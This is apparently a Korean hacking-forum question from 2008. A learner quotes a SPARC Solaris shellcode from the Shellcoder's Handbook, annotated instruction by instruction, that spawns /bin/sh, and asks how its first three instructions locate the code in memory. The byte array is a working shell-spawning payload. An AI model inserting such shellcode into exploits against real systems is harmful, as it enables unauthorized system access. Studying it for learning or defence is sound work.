시스템 해킹

1574,

10/79

binoopang

http://mercury.chonnam.ac.kr/~dalkong/

솔라리스 쉘코드에 대해서 질문입니다

http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_system&no=850 [복사]

static char scode[]= “\x20\xbf\xff\xff”        // 1: bn, a scode - 4
                                        “\x20\xbf\xff\xff”        // 2: bn, a scode
                                        “\x7f\xff\xff\xff”                // 3: call scode + 4
                                        “\x90\x03\xe0\x20”        // 4: add %o7, 32, %o0
                                        “\x92\x02\x20\x08”        // 5: add %o0, 8, %o1
                                        “\xd0\x22\x20\x08”        // 6: st %o0, [%o0 + 8]
                                        “\xc0\x22\x60\x04”        // 7: st %g0, [%o1 + 4]
                                        “\xc0\x2a\x20\x0b”        // 8: stb %g0, [%o0 + 7]
                                        “\x82\x10\x20\x0b”        // 9: mov 11, %g1
                                        “\x91\xd0\x20\x08”        // 10: ta 8
                                        “/bin/sh”;                                // 11: Shell strings

위 쉘코드에서 1번2번3번이 잘 이해가 되지 않아서요..
1,2,3번이 쉘코드를 %o7로 위치시킨다고 하는데
코드만 봐서는 잘 이해가 되지 않네요

지금 보고 있는 책은 Shellcoder's handbook 입니당

Hit : 3432 Date : 2008/02/03 11:45